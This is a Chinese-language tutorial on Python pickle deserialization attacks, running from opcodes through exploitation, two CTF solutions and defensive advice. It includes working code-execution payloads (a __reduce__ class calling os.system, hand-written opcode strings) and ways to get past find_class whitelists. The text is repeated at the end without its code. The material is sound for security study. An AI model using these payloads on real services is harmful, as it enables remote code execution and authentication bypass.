pickle反序列化初探
字数 2209 2025-08-20 18:17:42

Pickle反序列化安全研究与实践指南

1. Pickle基础概念

1.1 Pickle简介

Pickle是Python专用的序列化与反序列化模块,具有以下特点:

  • 以二进制格式存储数据
  • 可以表示Python几乎所有类型(包括自定义类型)
  • 实际上是一种独立的语言,通过操作码(opcode)执行操作
  • 解析能力大于生成能力(直接编写的opcode比序列化生成的更灵活)

1.2 可序列化对象类型

  • 基本类型:NoneTrueFalse、整数、浮点数、复数
  • 字符串类型:strbytesbytearray
  • 集合类型:tuplelistsetdict(仅包含可序列化对象)
  • 函数与类:模块最外层的函数和类
  • 实例对象:实现了__reduce__()方法的类实例

1.3 与JSON的对比

特性 Pickle JSON
格式 二进制 文本
跨语言 仅Python 支持多种语言
类型支持 几乎所有Python类型 基本内置类型
安全性 不安全 相对安全

2. Pickle工作机制

2.1 Pickle虚拟机(PVM)

PVM由三部分组成:

  1. 解析引擎:读取并解释opcode和参数,直到遇到.停止
  2. :Python列表实现,用于临时存储数据和对象
  3. 内存(memo):Python字典实现,存储已反序列化的数据

2.2 序列化过程

  1. 对象被转换为opcode流
  2. opcode流可以被保存或传输
  3. 反序列化时PVM执行opcode重建对象

2.3 __reduce__()方法

通过重写__reduce__()可以控制对象如何被序列化和反序列化:

import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('whoami',))

序列化后会生成包含R操作码的字节流,反序列化时将执行指定的函数。

3. Pickle操作码详解

3.1 常用操作码表

Opcode 描述 示例 栈变化
c 获取全局对象 cmodule\ninstance\n 对象入栈
o 调用栈上函数 o 参数出栈,结果入栈
i 导入并调用 imodule\ncallable\n 参数出栈,结果入栈
( 压入MARK标记 ( MARK入栈
t 组合为元组 t 数据出栈,元组入栈
R 调用函数 R 函数和参数出栈,结果入栈
p 存储到memo p0\n
g 从memo读取 g0\n 对象入栈
. 结束 .

3.2 版本差异

Pickle有6个版本,v0最易读,兼容所有Python版本:

import pickle
a = {'1': 1, '2': 2}
print(pickle.dumps(a, protocol=0))  # v0 opcode

3.3 手动构造示例

执行系统命令

b'''cos
system
(S'whoami'
tR.'''

变量覆盖

b'''c__main__
secret
(S'name'
S'new_value'
db.'''

4. 安全漏洞与利用技术

4.1 常见攻击方式

  1. 任意代码执行:通过__reduce__或opcode执行系统命令
  2. 变量覆盖:修改关键变量绕过认证
  3. 属性注入:向对象注入恶意属性

4.2 find_class()限制与绕过

Python官方建议通过重写Unpickler.find_class()实现白名单:

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == 'builtins' and name in safe_list:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("forbidden")

绕过方法:

  • 利用已导入模块的链式调用
  • 通过getattr获取被禁用的函数
  • 修改sys.modules引入被禁模块

4.3 CTF实战技巧

1. 基础RCE

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))

pickle.dumps(Exploit())

2. 绕过find_class限制

当只能使用__main__模块时:

b'''c__main__
secret
(S'key'
S'new_value'
db.'''

3. 利用sys.modules

b'''csys
modules
(S'sys'
csys
modules
s.'''

5. 高级利用技术

5.1 描述器攻击

通过实现__set__方法控制属性赋值:

User = GLOBAL('module', 'User')
User.__set__ = GLOBAL('module', 'User')
User.privileged = True  # 实际不会赋值,而是调用__set__

5.2 多段payload拼接

去掉第一个payload的.,直接拼接:

payload1 = b'''(S'key1'
S'value1'
d'''
payload2 = b'''(S'key2'
S'value2'
d.'''
final_payload = payload1 + payload2

5.3 属性链操作

# 获取os.system
getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')()
builtins = dict_get(globals, 'builtins')
system = getattr(builtins, 'system')
system('whoami')

6. Pker工具使用

Pker是生成pickle opcode的高级工具,语法类似Python:

6.1 基本语法

# 全局变量覆盖
secret = GLOBAL('__main__', 'secret')
secret.name = 'hacked'

# 函数执行
system = GLOBAL('os', 'system')
system('whoami')

# 实例化对象
animal = INST('__main__', 'Animal', 'name', 'category')

6.2 CTF解题示例

BalsnCTF pyshv3

User = GLOBAL('structs', 'User')
User.__set__ = GLOBAL('structs', 'User')
des = User('des', 'des')
User.privileged = des
user = User('attacker', 'group')
return user

SUCTF guess_game

ticket = INST('guess_game.Ticket', 'Ticket', (1,))
game = GLOBAL('guess_game', 'game')
game.win_count = 9
game.round_count = 9
game.curr_ticket = ticket
return ticket

7. 防御建议

  1. 使用JSON等安全格式替代pickle
  2. 严格白名单限制find_class可用的模块和类
  3. 签名验证 pickle数据完整性
  4. 沙箱环境 执行反序列化操作
  5. 监控 pickle反序列化过程

8. 总结

Pickle反序列化漏洞利用关键点:

  • 理解PVM工作机制和opcode语义
  • 掌握__reduce__find_class的绕过方法
  • 熟悉Python内置模块和魔术方法
  • 能够手动构造或使用工具生成opcode

安全开发建议:

  • 避免反序列化不可信数据
  • 使用最严格的find_class白名单
  • 考虑使用更安全的替代方案如json
Pickle反序列化安全研究与实践指南 1. Pickle基础概念 1.1 Pickle简介 Pickle是Python专用的序列化与反序列化模块,具有以下特点: 以二进制格式存储数据 可以表示Python几乎所有类型(包括自定义类型) 实际上是一种独立的语言,通过操作码(opcode)执行操作 解析能力大于生成能力(直接编写的opcode比序列化生成的更灵活) 1.2 可序列化对象类型 基本类型: None 、 True 、 False 、整数、浮点数、复数 字符串类型: str 、 bytes 、 bytearray 集合类型: tuple 、 list 、 set 、 dict (仅包含可序列化对象) 函数与类:模块最外层的函数和类 实例对象:实现了 __reduce__() 方法的类实例 1.3 与JSON的对比 | 特性 | Pickle | JSON | |------------|----------------|----------------| | 格式 | 二进制 | 文本 | | 跨语言 | 仅Python | 支持多种语言 | | 类型支持 | 几乎所有Python类型 | 基本内置类型 | | 安全性 | 不安全 | 相对安全 | 2. Pickle工作机制 2.1 Pickle虚拟机(PVM) PVM由三部分组成: 解析引擎 :读取并解释opcode和参数,直到遇到 . 停止 栈 :Python列表实现,用于临时存储数据和对象 内存(memo) :Python字典实现,存储已反序列化的数据 2.2 序列化过程 对象被转换为opcode流 opcode流可以被保存或传输 反序列化时PVM执行opcode重建对象 2.3 __reduce__() 方法 通过重写 __reduce__() 可以控制对象如何被序列化和反序列化: 序列化后会生成包含 R 操作码的字节流,反序列化时将执行指定的函数。 3. Pickle操作码详解 3.1 常用操作码表 | Opcode | 描述 | 示例 | 栈变化 | |--------|------|------|--------| | c | 获取全局对象 | cmodule\ninstance\n | 对象入栈 | | o | 调用栈上函数 | o | 参数出栈,结果入栈 | | i | 导入并调用 | imodule\ncallable\n | 参数出栈,结果入栈 | | ( | 压入MARK标记 | ( | MARK入栈 | | t | 组合为元组 | t | 数据出栈,元组入栈 | | R | 调用函数 | R | 函数和参数出栈,结果入栈 | | p | 存储到memo | p0\n | 无 | | g | 从memo读取 | g0\n | 对象入栈 | | . | 结束 | . | 无 | 3.2 版本差异 Pickle有6个版本,v0最易读,兼容所有Python版本: 3.3 手动构造示例 执行系统命令 变量覆盖 4. 安全漏洞与利用技术 4.1 常见攻击方式 任意代码执行 :通过 __reduce__ 或opcode执行系统命令 变量覆盖 :修改关键变量绕过认证 属性注入 :向对象注入恶意属性 4.2 find_class() 限制与绕过 Python官方建议通过重写 Unpickler.find_class() 实现白名单: 绕过方法: 利用已导入模块的链式调用 通过 getattr 获取被禁用的函数 修改 sys.modules 引入被禁模块 4.3 CTF实战技巧 1. 基础RCE 2. 绕过 find_class 限制 当只能使用 __main__ 模块时: 3. 利用 sys.modules 5. 高级利用技术 5.1 描述器攻击 通过实现 __set__ 方法控制属性赋值: 5.2 多段payload拼接 去掉第一个payload的 . ,直接拼接: 5.3 属性链操作 6. Pker工具使用 Pker是生成pickle opcode的高级工具,语法类似Python: 6.1 基本语法 6.2 CTF解题示例 BalsnCTF pyshv3 SUCTF guess_ game 7. 防御建议 使用JSON等安全格式 替代pickle 严格白名单 限制 find_class 可用的模块和类 签名验证 pickle数据完整性 沙箱环境 执行反序列化操作 监控 pickle反序列化过程 8. 总结 Pickle反序列化漏洞利用关键点: 理解PVM工作机制和opcode语义 掌握 __reduce__ 和 find_class 的绕过方法 熟悉Python内置模块和魔术方法 能够手动构造或使用工具生成opcode 安全开发建议: 避免反序列化不可信数据 使用最严格的 find_class 白名单 考虑使用更安全的替代方案如 json